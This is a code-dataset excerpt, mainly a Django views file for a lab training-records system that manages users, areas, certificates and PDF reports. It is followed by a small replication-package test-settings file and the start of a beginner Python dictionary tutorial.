classes\n\n@method_decorator([never_cache, login_required, access_admin_only], name='dispatch')\nclass AllUsersView(View):\n \"\"\" Display all users \"\"\"\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n\n # if session has next value, delete it\n if request.session.get('next'):\n del request.session['next']\n\n user_list = uApi.get_users()\n\n # Pagination enables\n query = request.GET.get('q')\n if query:\n user_list = User.objects.filter(\n Q(username__icontains=query) | Q(first_name__icontains=query) | Q(last_name__icontains=query)\n ).order_by('id').distinct()\n\n page = request.GET.get('page', 1)\n paginator = Paginator(user_list, NUM_PER_PAGE)\n\n try:\n users = paginator.page(page)\n except PageNotAnInteger:\n users = paginator.page(1)\n except EmptyPage:\n users = paginator.page(paginator.num_pages)\n\n users = uApi.add_inactive_users(users)\n users = api.add_missing_certs(users)\n\n areas = uApi.get_areas()\n\n return render(request, 'app/users/all_users.html', {\n 'users': users,\n 'total_users': len(user_list),\n 'areas': uApi.add_users_to_areas(areas),\n 'roles': {'LAB_USER': 0, 'PI': 1}\n })\n\n @method_decorator(require_POST)\n def post(self, request, *args, **kwargs):\n\n # Edit a user\n user = uApi.get_user(request.POST.get('user'))\n form = UserForm(request.POST, instance=user)\n if form.is_valid():\n if form.save():\n messages.success(request, 'Success! {0} updated.'.format(user.get_full_name()))\n else:\n messages.error(request, 'Error! Failed to update {0}.'.format(user.get_full_name()))\n else:\n errors = form.errors.get_json_data()\n messages.error(request, 'Error! Form is invalid. {0}'.format( uApi.get_error_messages(errors) ))\n\n return HttpResponseRedirect( request.POST.get('next') )\n\n\n@method_decorator([never_cache, login_required, access_admin_only], name='dispatch')\nclass UserReportMissingTrainingsView(View):\n \"\"\" Display an user report for missing trainings \"\"\"\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n\n all_users = uApi.get_users()\n\n # Find users who have missing certs\n user_list = []\n for user in api.add_missing_certs(all_users):\n if user.missing_certs != None:\n user_list.append(user)\n\n #user_list = users_in_missing_training.copy()\n\n # Pagination enables\n query = request.GET.get('q')\n if query:\n user_list = User.objects.filter(\n Q(username__icontains=query) | Q(first_name__icontains=query) | Q(last_name__icontains=query)\n ).order_by('id').distinct()\n\n page = request.GET.get('page', 1)\n paginator = Paginator(user_list, NUM_PER_PAGE)\n\n try:\n users = paginator.page(page)\n except PageNotAnInteger:\n users = paginator.page(1)\n except EmptyPage:\n users = paginator.page(paginator.num_pages)\n\n return render(request, 'app/users/user_report_missing_trainings.html', {\n 'users': users,\n 'total_users': len(user_list)\n })\n\n\n@method_decorator([never_cache, login_required, access_admin_only], name='dispatch')\nclass NewUserView(View):\n \"\"\" Create a new user \"\"\"\n\n form_class = UserForm\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n return render(request, 'app/users/new_user.html', {\n 'user_form': self.form_class(),\n 'last_ten_users': User.objects.all().order_by('-date_joined')[:15]\n })\n\n @method_decorator(require_POST)\n def post(self, request, *args, **kwargs):\n form = self.form_class(request.POST)\n if form.is_valid():\n user = form.save()\n if user:\n if request.POST.get('send_email') == 'yes':\n email_error = None\n try:\n validate_email(user.email)\n except ValidationError as e:\n email_error = e\n\n if email_error is None:\n sent = uApi.send_notification(user)\n if sent:\n messages.success(request, 'Success! {0} created and sent an email.'.format(user.get_full_name()))\n else:\n messages.warning(request, 'Warning! {0} created, but failed to send an email due to {1}'.format(user.get_full_name(), sent.error))\n else:\n messages.success(request, 'Success! {0} created.'.format(user.get_full_name()))\n else:\n messages.error(request, 'Error! Failed to create {0}. Please check your CWL.'.format(user.get_full_name()))\n else:\n errors = form.errors.get_json_data()\n messages.error(request, 'Error! Form is invalid. {0}'.format( uApi.get_error_messages(errors) ) )\n\n return redirect('app:new_user')\n\n\n@method_decorator([never_cache, login_required, access_loggedin_user_pi_admin], name='dispatch')\nclass UserDetailsView(View):\n \"\"\" View user details \"\"\"\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n user_id = kwargs['user_id']\n\n if request.user.id != user_id:\n\n # Add next string to session\n if request.GET.get('next'):\n next = request.get_full_path().split('next=')\n request.session['next'] = next[1]\n\n viewing = {}\n if request.user.id != user_id and request.session.get('next'):\n viewing = uApi.get_viewing(request.session.get('next'))\n\n return render(request, 'app/users/user_details.html', {\n 'app_user': uApi.get_user(kwargs['user_id']),\n 'user_lab_list': api.get_user_labs(user_id),\n 'pi_user_lab_list': api.get_user_labs(user_id, is_principal_investigator=True),\n 'user_certs': api.get_user_certs_404(user_id),\n 'missing_cert_list': api.get_missing_certs(user_id),\n 'expired_cert_list': api.get_expired_certs(user_id),\n 'welcome_message': uApi.welcome_message(),\n 'viewing': viewing\n })\n\n\n@method_decorator([never_cache, login_required, access_loggedin_user_admin], name='dispatch')\nclass UserAreasView(View):\n \"\"\" Display user's areas \"\"\"\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n\n return render(request, 'app/areas/user_areas.html', {\n 'user_lab_list': api.get_user_labs(request.user.id),\n 'pi_user_lab_list': api.get_user_labs(request.user.id, is_principal_investigator=True)\n })\n\n\n@method_decorator([never_cache, login_required, access_loggedin_user_pi_admin], name='dispatch')\nclass UserTrainingsView(View):\n \"\"\" Display all training records of a user \"\"\"\n\n form_class = UserTrainingForm\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n user_id = kwargs['user_id']\n app_user = uApi.get_user(user_id)\n\n viewing = {}\n if request.user.id != user_id and request.session.get('next'):\n viewing = uApi.get_viewing(request.session.get('next'))\n\n return render(request, 'app/trainings/user_trainings.html', {\n 'app_user': app_user,\n 'user_cert_list': api.get_user_certs(user_id),\n 'missing_cert_list': api.get_missing_certs(user_id),\n 'expired_cert_list': api.get_expired_certs(user_id),\n 'form': self.form_class(initial={ 'user': user_id }),\n 'viewing': viewing\n })\n\n @method_decorator(require_POST)\n def post(self, request, *args, **kwargs):\n\n # Add a training record\n user_id = request.POST.get('user')\n form = self.form_class(request.POST, request.FILES)\n\n # Whether form is valid or not\n if form.is_valid():\n data = request.POST\n files = request.FILES\n cert = api.get_cert(data['cert'])\n\n year = int(data['completion_date_year'])\n month = int(data['completion_date_month'])\n day = int(data['completion_date_day'])\n\n completion_date = datetime(year=year, month=month, day=day)\n\n # Calculate a expiry year\n expiry_year = year + int(cert['expiry_in_years'])\n expiry_date = datetime(year=expiry_year, month=month, day=day)\n\n result = api.update_or_create_user_cert(data['user'], data['cert'], files['cert_file'], completion_date, expiry_date)\n\n # Whether user's certficiate is created successfully or not\n if result:\n messages.success(request, 'Success! {0} added.'.format(cert['name']))\n res = { 'user_id': user_id, 'cert_id': result['cert'] }\n else:\n messages.error(request, \"Error! Failed to add a training.\")\n else:\n errors_data = form.errors.get_json_data()\n error_message = 'Please check your inputs.'\n\n for key in errors_data.keys():\n error_code = errors_data[key][0]['code']\n\n if error_code == 'unique_together':\n error_message = \"The certificate already exists. If you wish to update a new training, please delete your old training first.\"\n\n elif error_code == 'invalid_extension':\n error_message = errors_data[key][0]['message']\n\n elif error_code == 'file_size_limit':\n error_message = errors_data[key][0]['message']\n\n elif error_code == 'max_length':\n error_message = errors_data[key][0]['message']\n\n messages.error(request, \"Error! Failed to add your training. {0}\".format(error_message))\n\n return HttpResponseRedirect(reverse('app:user_trainings', args=[user_id]))\n\n\n@method_decorator([never_cache, login_required, access_loggedin_user_pi_admin], name='dispatch')\nclass UserTrainingDetailsView(View):\n \"\"\" Display details of a training record of a user \"\"\"\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n user_id = kwargs['user_id']\n training_id = kwargs['training_id']\n\n viewing = {}\n if request.user.id != user_id and request.session.get('next'):\n viewing = uApi.get_viewing(request.session.get('next'))\n\n user_cert = api.get_user_cert_404(user_id, training_id)\n no_expiry_date = False\n if user_cert.completion_date == user_cert.expiry_date:\n no_expiry_date = True\n\n return render(request, 'app/trainings/user_training_details.html', {\n 'app_user': uApi.get_user(user_id),\n 'user_cert': user_cert,\n 'no_expiry_date': no_expiry_date,\n 'viewing': viewing\n })\n\n\n# Users - functions\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_loggedin_user_pi_admin\n@require_http_methods(['GET'])\ndef user_report(request, user_id):\n \"\"\" Download user's report as PDF \"\"\"\n\n app_user = uApi.get_user(user_id)\n\n missing_cert_list = api.get_missing_certs(user_id)\n user_cert_list = api.get_user_certs(user_id)\n user_cert_ids = set([uc['id'] for uc in user_cert_list])\n expired_cert_ids = set([ec['id'] for ec in api.get_expired_certs(user_id)])\n\n user_lab_list = api.get_user_labs(user_id)\n user_labs = []\n for user_lab in user_lab_list:\n lab_certs = api.get_lab_certs(user_lab['id'])\n missing_lab_certs = []\n for lc in lab_certs:\n if lc['id'] not in user_cert_ids or lc['id'] in expired_cert_ids:\n missing_lab_certs.append(lc)\n user_labs.append((user_lab, lab_certs, missing_lab_certs))\n\n for uc in user_cert_list:\n no_expiry_date = False\n if uc['completion_date'] == uc['expiry_date']:\n no_expiry_date = True\n uc['no_expiry_date'] = no_expiry_date\n\n return render_to_pdf('app/users/user_report.html', {\n 'app_user': app_user,\n 'user_labs': user_labs,\n 'user_cert_list': user_cert_list\n })\n\n\ndef render_to_pdf(template_src, context_dict):\n template = get_template(template_src)\n context = Context(context_dict)\n html = template.render(context_dict)\n response = BytesIO()\n\n pdf = pisa.pisaDocument(BytesIO(html.encode(\"utf-8\")), response)\n if not pdf.err:\n return HttpResponse(response.getvalue(), content_type='application/pdf')\n return HttpResponse('Encountered errors
%s
' % escape(html))\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['GET'])\ndef download_user_report_missing_trainings(request):\n \"\"\"Download a user report for missing trainings \"\"\"\n\n users = uApi.get_users()\n\n # Find users who have missing certs\n users_in_missing_training = []\n for user in api.add_missing_certs(users):\n if user.missing_certs != None:\n users_in_missing_training.append(user)\n\n return render_to_pdf('app/users/download_user_report_missing_trainings.html', {\n 'users': users_in_missing_training,\n })\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef delete_user(request):\n \"\"\" Delete a user \"\"\"\n\n user = uApi.get_user(request.POST.get('user'))\n if user.delete():\n messages.success(request, 'Success! {0} deleted.'.format(user.get_full_name()))\n else:\n messages.error(request, 'Error! Failed to delete {0}.'.format(user.get_full_name()))\n\n return HttpResponseRedirect(request.POST.get('next'))\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef switch_admin(request):\n \"\"\" Switch a user to Admin or not Admin \"\"\"\n\n user = uApi.get_user(request.POST.get('user'))\n\n user.is_superuser = not user.is_superuser\n user.save(update_fields=['is_superuser'])\n\n if user.is_superuser:\n messages.success(request, 'Success! Granted administrator privileges to {0}.'.format(user.get_full_name()))\n else:\n messages.success(request, 'Success! Revoked administrator privileges of {0}.'.format(user.get_full_name()))\n\n return HttpResponseRedirect(request.POST.get('next'))\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef switch_inactive(request):\n \"\"\" Switch a user to Active or Inactive \"\"\"\n\n user = uApi.get_user(request.POST.get('user'))\n\n if user.is_active:\n UserInactive.objects.create(user_id=user.id, inactive_date=datetime.now())\n else:\n UserInactive.objects.get(user_id=user.id).delete()\n\n user.is_active = not user.is_active\n user.save(update_fields=['is_active'])\n\n if user.is_active:\n messages.success(request, 'Success! {0} is now ACTIVE.'.format(user.get_full_name()))\n else:\n messages.success(request, 'Success! {0} is now INACTIVE.'.format(user.get_full_name()))\n\n return HttpResponseRedirect(request.POST.get('next'))\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef assign_user_areas(request):\n \"\"\" Assign user's areas \"\"\"\n\n user = uApi.get_user(request.POST.get('user'))\n\n # delete all or not\n if len(request.POST.getlist('areas[]')) == 0:\n all_userlab = user.userlab_set.all()\n\n if len(all_userlab) > 0:\n if all_userlab.delete():\n return JsonResponse({ 'status': 'success', 'message': \"Success! {0}'s all areas have deleted.\".format(user.get_full_name()) })\n else:\n return JsonResponse({ 'status': 'error', 'message': 'Error! Failed to delete all areas.' })\n else:\n return JsonResponse({ 'status': 'warning', 'message': 'Warning! Nothing has changed.' })\n\n else:\n areas = request.POST.getlist('areas[]')\n user = uApi.get_user(request.POST.get('user'))\n all_userlab = user.userlab_set.all()\n\n report = uApi.update_or_create_areas_to_user(user, areas)\n message = ''\n\n if len(report['updated']) > 0:\n message += '
  • Changed: ' + ', '.join(report['updated']) + '
  • '\n if len(report['created']) > 0:\n message += '
  • Added: ' + ', '.join(report['created']) + '
  • '\n if len(report['deleted']) > 0:\n message += '
  • Deleted: ' + ', '.join(report['deleted']) + '
  • '\n\n if len(message) == 0:\n return JsonResponse({ 'status': 'warning', 'message': 'Warning! Nothing has changed.' })\n else:\n return JsonResponse({ 'status': 'success', 'message': 'Success! ' + user.get_full_name() + \"'s Areas have changed. Please see the following status:
      \" + message + '
    ' })\n\n return JsonResponse({ 'status': 'error', 'message': 'Error! Something went wrong.' })\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_loggedin_user_pi_admin\n@require_http_methods(['POST'])\ndef read_welcome_message(request, user_id):\n \"\"\" Read a welcome message \"\"\"\n\n if request.POST.get('read_welcome_message') == 'true':\n request.session['is_first_time'] = False\n return JsonResponse({ 'status': 'success', 'message': 'Success! A user read a welcome message.' })\n\n return JsonResponse({ 'status': 'error', 'message': 'Error! Something went wrong while reading a welcome message.' })\n\n\n# Areas - classes\n\n@method_decorator([never_cache, login_required, access_admin_only], name='dispatch')\nclass AllAreasView(View):\n \"\"\" Display all areas \"\"\"\n\n form_class = AreaForm\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n\n area_list = uApi.get_areas()\n\n # Pagination enables\n query = request.GET.get('q')\n if query:\n area_list = Lab.objects.filter( Q(name__icontains=query) ).distinct()\n\n page = request.GET.get('page', 1)\n paginator = Paginator(area_list, NUM_PER_PAGE)\n\n try:\n areas = paginator.page(page)\n except PageNotAnInteger:\n areas = paginator.page(1)\n except EmptyPage:\n areas = paginator.page(paginator.num_pages)\n\n # Add a number of users in each area\n for area in areas:\n area.num_users = area.userlab_set.count()\n\n return render(request, 'app/areas/all_areas.html', {\n 'areas': areas,\n 'total_areas': len(area_list),\n 'form': self.form_class()\n })\n\n @method_decorator(require_POST)\n def post(self, request, *args, **kwargs):\n\n # Create a new area\n form = self.form_class(request.POST)\n if form.is_valid():\n lab = form.save()\n if lab:\n messages.success(request, 'Success! {0} created.'.format(lab.name))\n else:\n messages.error(request, 'Error! Failed to create {0}.'.format(lab.name))\n else:\n errors = form.errors.get_json_data()\n messages.error(request, 'Error! Form is invalid. {0}'.format(uApi.get_error_messages(errors)))\n\n return redirect('app:all_areas')\n\n\n@method_decorator([never_cache, login_required, access_pi_admin], name='dispatch')\nclass AreaDetailsView(View):\n \"\"\" Display all areas \"\"\"\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n\n # if session has next value, delete it\n if request.session.get('next'):\n del request.session['next']\n\n area_id = kwargs['area_id']\n\n area = uApi.get_area(area_id)\n\n required_trainings = []\n for labcert in area.labcert_set.all():\n required_trainings.append(labcert.cert)\n\n users_in_area = []\n for userlab in area.userlab_set.all():\n user = userlab.user\n if uApi.is_pi_in_area(user.id, area_id): user.is_pi = True\n else: user.is_pi = False\n users_in_area.append(user)\n\n is_pi = uApi.is_pi_in_area(request.user.id, area_id)\n\n return render(request, 'app/areas/area_details.html', {\n 'area': area,\n 'required_trainings': required_trainings,\n 'users_in_area': users_in_area,\n 'is_admin': request.user.is_superuser,\n 'is_pi': is_pi,\n 'users_missing_certs': api.get_users_missing_certs(area_id),\n 'users_expired_certs': api.get_users_expired_certs(area_id),\n 'user_area_form': UserAreaForm(initial={ 'lab': area.id }),\n 'area_training_form': AreaTrainingForm(initial={ 'lab': area.id })\n })\n\n @method_decorator(require_POST)\n def post(self, request, *args, **kwargs):\n \"\"\" Add a user to an area \"\"\"\n\n username = request.POST.get('user')\n role = request.POST.get('role')\n area_id = request.POST.get('lab')\n\n found_user = User.objects.filter(username=username)\n\n # Check whether a user exists or not\n if found_user.exists():\n user = found_user.first()\n found_userlab = UserLab.objects.filter( Q(user_id=user.id) & Q(lab_id=area_id) )\n\n if found_userlab.exists() == False:\n userlab = UserLab.objects.create(user_id=user.id, lab_id=area_id, role=role)\n valid_email = False\n valid_email_error = None\n\n try:\n validate_email(user.email)\n valid_email = True\n except ValidationError as e:\n valid_email_error = e\n\n if valid_email:\n messages.success(request, 'Success! {0} (CWL: {1}) added to this area.'.format(user.get_full_name(), user.username))\n else:\n messages.warning(request, 'Warning! Added {0} successfully, but failed to send an email. ({1} is invalid) {2}'.format(user.get_full_name(), user.email, valid_email_error))\n else:\n messages.error(request, 'Error! Failed to add {0}. CWL already exists in this area.'.format(user.username))\n else:\n messages.error(request, 'Error! Failed to add {0}. CWL does not exist in TRMS. Please go to a Users page then create the user by inputting the details before adding the user in the area.'.format(username))\n\n return HttpResponseRedirect(reverse('app:area_details', args=[area_id]))\n\n\n# Areas - functions\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef add_training_area(request):\n \"\"\" Add a training to an area \"\"\"\n\n area_id = request.POST.get('lab', None)\n training_id = request.POST.get('cert', None)\n\n if area_id == None:\n messages.error(request, 'Error! Something went wrong. Area is required.')\n return redirect('app:all_areas')\n\n if training_id == None:\n messages.error(request, 'Error! Something went wrong. Training is required.')\n return HttpResponseRedirect(reverse('app:area_details', args=[area_id]))\n\n area = uApi.get_area(area_id)\n training = uApi.get_training(training_id)\n\n labcert = uApi.get_labcert(request.POST.get('lab'), request.POST.get('cert'))\n\n if labcert == None:\n form = AreaTrainingForm(request.POST, instance=labcert)\n if form.is_valid():\n new_labcert = form.save()\n messages.success(request, 'Success! {0} added.'.format(new_labcert.cert.name))\n else:\n errors = form.errors.get_json_data()\n messages.error(request, 'Error! Form is invalid. {0}'.format( uApi.get_error_messages(errors) ))\n else:\n messages.error(request, 'Error! Failed to add Training. This training has already existed.'.format(labcert.cert.name))\n\n return HttpResponseRedirect(reverse('app:area_details', args=[area_id]))\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef delete_training_in_area(request):\n \"\"\" Delete a required training in the area \"\"\"\n\n area_id = request.POST.get('area', None)\n training_id = request.POST.get('training', None)\n\n if area_id == None:\n messages.error(request, 'Error! Something went wrong. Area is required.')\n return redirect('app:all_areas')\n\n if training_id == None:\n messages.error(request, 'Error! Something went wrong. Training is required.')\n return HttpResponseRedirect(reverse('app:area_details', args=[area_id]))\n\n area = uApi.get_area(area_id)\n training = uApi.get_training(training_id)\n\n labcert = uApi.get_labcert(area_id, training_id)\n\n if labcert == None:\n messages.error(request, 'Error! {0} does not exist in this area.'.format(training.name))\n else:\n if labcert.delete():\n messages.success(request, 'Success! {0} deleted.'.format(labcert.cert.name))\n else:\n messages.error(request, 'Error! Failed to delete {0}.'.format(labcert.cert.name))\n\n return HttpResponseRedirect(reverse('app:area_details', args=[area_id]))\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef edit_area(request):\n \"\"\" Update the name of area \"\"\"\n\n area = uApi.get_area(request.POST.get('area'))\n\n form = AreaForm(request.POST, instance=area)\n if form.is_valid():\n updated_area = form.save()\n if updated_area:\n messages.success(request, 'Success! {0} updated.'.format(updated_area.name))\n else:\n messages.error(request, 'Error! Failed to update {0}.'.format(area.name))\n else:\n errors = form.errors.get_json_data()\n messages.error(request, 'Error! Form is invalid. {0}'.format(uApi.get_error_messages(errors)))\n\n return redirect('app:all_areas')\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef delete_area(request):\n \"\"\" Delete an area \"\"\"\n\n area = uApi.get_area(request.POST.get('area'))\n if area.delete():\n messages.success(request, 'Success! {0} deleted.'.format(area.name))\n else:\n messages.error(request, 'Error! Failed to delete {0}.'.format(area.name))\n\n return redirect('app:all_areas')\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_pi_admin\n@require_http_methods(['POST'])\ndef switch_user_role_in_area(request, area_id):\n \"\"\" Switch a user's role in the area \"\"\"\n\n user_id = request.POST.get('user', None)\n area_id = request.POST.get('area', None)\n\n if user_id == None:\n messages.error(request, 'Error! Something went wrong. User is required.')\n return HttpResponseRedirect(reverse('app:area_details', args=[area_id]))\n\n if area_id == None:\n messages.error(request, 'Error! Something went wrong. Area is required.')\n return redirect('app:all_areas')\n\n user = uApi.get_user(user_id)\n area = uApi.get_area(area_id)\n\n userlab = uApi.get_userlab(user_id, area_id)\n\n if userlab == None:\n messages.error(request, 'Error! A user or an area data does not exist.')\n else:\n role = ''\n prev_role = userlab.role\n\n if userlab.role == UserLab.LAB_USER:\n userlab.role = UserLab.PRINCIPAL_INVESTIGATOR\n role = 'Supervisor'\n else:\n userlab.role = UserLab.LAB_USER\n role = 'User'\n\n userlab.save(update_fields=['role'])\n\n if userlab.role != prev_role:\n messages.success(request, 'Success! {0} is now a {1}.'.format(user.get_full_name(), role))\n else:\n messages.error(request, 'Error! Failed to switch a role of {0}.'.format(user.get_full_name()))\n\n return HttpResponseRedirect(reverse('app:area_details', args=[area_id]))\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_pi_admin\n@require_http_methods(['POST'])\ndef delete_user_in_area(request, area_id):\n \"\"\" Delete a user in the area \"\"\"\n\n user_id = request.POST.get('user', None)\n area_id = request.POST.get('area', None)\n\n if user_id == None:\n messages.error(request, 'Error! Something went wrong. User is required.')\n return HttpResponseRedirect(reverse('app:area_details', args=[area_id]))\n\n if area_id == None:\n messages.error(request, 'Error! Something went wrong. Area is required.')\n return redirect('app:all_areas')\n\n user = uApi.get_user(user_id)\n area = uApi.get_area(area_id)\n\n userlab = uApi.get_userlab(user_id, area_id)\n\n if userlab == None:\n messages.error(request, 'Error! A user or an area data does not exist.')\n else:\n if userlab.delete():\n messages.success(request, 'Success! {0} deleted.'.format(user.get_full_name()))\n else:\n messages.error(request, 'Error! Failed to delete {0}.'.format(user.get_full_name()))\n\n return HttpResponseRedirect(reverse('app:area_details', args=[area_id]))\n\n\n# Trainings - classes\n\n@method_decorator([never_cache, login_required, access_admin_only], name='dispatch')\nclass AllTrainingsView(View):\n \"\"\" Display all training records of a user \"\"\"\n\n form_class = TrainingForm\n\n @method_decorator(require_GET)\n def get(self, request, *args, **kwargs):\n training_list = uApi.get_trainings()\n\n # Pagination enables\n query = request.GET.get('q')\n if query:\n training_list = Cert.objects.filter( Q(name__icontains=query) ).distinct()\n\n page = request.GET.get('page', 1)\n paginator = Paginator(training_list, NUM_PER_PAGE)\n\n try:\n trainings = paginator.page(page)\n except PageNotAnInteger:\n trainings = paginator.page(1)\n except EmptyPage:\n trainings = paginator.page(paginator.num_pages)\n\n return render(request, 'app/trainings/all_trainings.html', {\n 'trainings': trainings,\n 'total_trainings': len(training_list),\n 'form': self.form_class()\n })\n\n\n @method_decorator(require_POST)\n def post(self, request, *args, **kwargs):\n\n # Create a new training\n\n form = self.form_class(request.POST)\n if form.is_valid():\n cert = form.save()\n if cert:\n messages.success(request, 'Success! {0} created.'.format(cert.name))\n else:\n messages.error(request, 'Error! Failed to create {0}. This training has already existed.'.format(cert.name))\n else:\n errors = form.errors.get_json_data()\n messages.error(request, 'Error! Form is invalid. {0}'.format(uApi.get_error_messages(errors)))\n\n return redirect('app:all_trainings')\n\n\n# Trainings - functions\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef edit_training(request):\n \"\"\" Edit a training \"\"\"\n\n training = uApi.get_training( request.POST.get('training') )\n new_expiry_in_years = int(request.POST.get('expiry_in_years')) - training.expiry_in_years\n\n form = TrainingForm(request.POST, instance=training)\n if form.is_valid():\n updated_training = form.save()\n usercerts = UserCert.objects.filter(cert_id=training.id)\n\n objs = []\n if usercerts.count() > 0 and new_expiry_in_years != 0:\n for usercert in usercerts:\n usercert.expiry_date = datetime(usercert.expiry_date.year + new_expiry_in_years, usercert.expiry_date.month, usercert.expiry_date.day)\n objs.append(usercert)\n\n UserCert.objects.bulk_update(objs, ['expiry_date'])\n messages.success(request, 'Success! {0} training and {1} user training record(s) updated'.format(updated_training.name, len(objs)))\n else:\n messages.success(request, 'Success! {0} training updated'.format(updated_training.name))\n else:\n errors = form.errors.get_json_data()\n messages.error(request, 'An error occurred. Form is invalid. {0}'.format( uApi.get_error_messages(errors) ))\n\n return redirect('app:all_trainings')\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_admin_only\n@require_http_methods(['POST'])\ndef delete_training(request):\n \"\"\" Delete a training \"\"\"\n\n training = uApi.get_training(request.POST.get('training'))\n\n if training.delete():\n messages.success(request, 'Success! {0} deleted.'.format(training.name))\n else:\n messages.error(request, 'Error! Failed to delete {0}.'.format(training.name))\n\n return redirect('app:all_trainings')\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_loggedin_user_admin\n@require_http_methods(['POST'])\ndef delete_user_training(request, user_id):\n \"\"\" Delete user's training record \"\"\"\n\n user_id = request.POST.get('user', None)\n training_id = request.POST.get('training', None)\n\n # If inputs are invalid, raise a 400 error\n uApi.check_input_fields(request, ['user', 'training'])\n\n\n user = uApi.get_user(user_id)\n usercert = user.usercert_set.filter(cert_id=training_id)\n\n if usercert.exists():\n usercert_obj = usercert.first()\n\n is_dir_deleted = False\n dirpath = os.path.join(settings.MEDIA_ROOT, 'users', str(user_id), 'certificates', str(training_id))\n\n is_deleted = usercert.delete()\n\n if os.path.exists(dirpath) and os.path.isdir(dirpath):\n os.rmdir(dirpath)\n is_dir_deleted = True\n\n if is_deleted and is_dir_deleted == True:\n messages.success(request, 'Success! {0} deleted.'.format(usercert_obj.cert.name))\n return HttpResponseRedirect( reverse('app:user_trainings', args=[user_id]) )\n else:\n messages.error(request, 'Error! Failed to delete a {0} training record of {1}.'.format(usercert_obj.cert.name, usercert_obj.user.get_full_name()))\n else:\n messages.error(request, 'Error! Form is invalid.')\n\n return HttpResponseRedirect(reverse('app:user_trainings', args=[user_id]))\n\n\n@login_required(login_url=settings.LOGIN_URL)\n@cache_control(no_cache=True, must_revalidate=True, no_store=True)\n@access_loggedin_user_pi_admin\n@require_http_methods(['GET'])\ndef download_user_cert(request, user_id, cert_id, filename):\n path = 'users/{0}/certificates/{1}/{2}'.format(user_id, cert_id, filename)\n return serve(request, path, document_root=settings.MEDIA_ROOT)\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":38331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"70461315","text":"#!/usr/bin/env python\n\n# Application test settings\n\nfrom django_replicated2.settings import *\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': ':memory:',\n },\n 'slave1': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': ':memory:',\n 'TEST_MIRROR': 'default',\n },\n 'slave2': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': ':memory:',\n 'TEST_MIRROR': 'default',\n }\n}\n\nINSTALLED_APPS = ['django_replicated2']\n\nDATABASE_ROUTERS = ['django_replicated2.routers.ReplicationRouter']\n\nMIDDLEWARE_CLASSES = [\n 'django_replicated2.middleware.ReplicationMiddleware',\n]\n\n\n# Configure settings\n\nimport sys\nfrom django.conf import settings\n\nsettings.configure(**dict([(k,v) for k,v in globals().items() if k.isupper()]))\n\n# setup.py test runner\ndef runtests():\n from django.test.utils import get_runner\n\n test_runner = get_runner(settings)(verbosity=1, interactive=True, failfast=False)\n failures = test_runner.run_tests(INSTALLED_APPS)\n sys.exit(failures)\n\n\nif __name__ == \"__main__\":\n from django.core.management import execute_from_command_line\n\n execute_from_command_line(sys.argv[:1] + ['test'] + sys.argv[1:])\n","sub_path":"runtests.py","file_name":"runtests.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"568205099","text":"val = 3\nprint(f\"My val is {val}\")\n\n# example of dictionary\n\nmy_list = ['energetic young animal',\n 'herbal infustion',\n 'tropical fruit']\n\n\ndict = {\n 'puppy': 'energetic young animal',\n 'tea': 'herbal infusion',\n 'pineapple': 'tropical fruit',\n 'word_to_look_up': 'definition'\n}\n\n# Check to see if a key is there \n# print('tea' in dict)\n\n# # accessing a key in a dictionary\nprint(dict['tea'])\n\n# This will add a new key value pair\ndict['mammoth'] = 'wooly'\n\n# This is going to update a value\ndict['pineapple'] = 'prickly 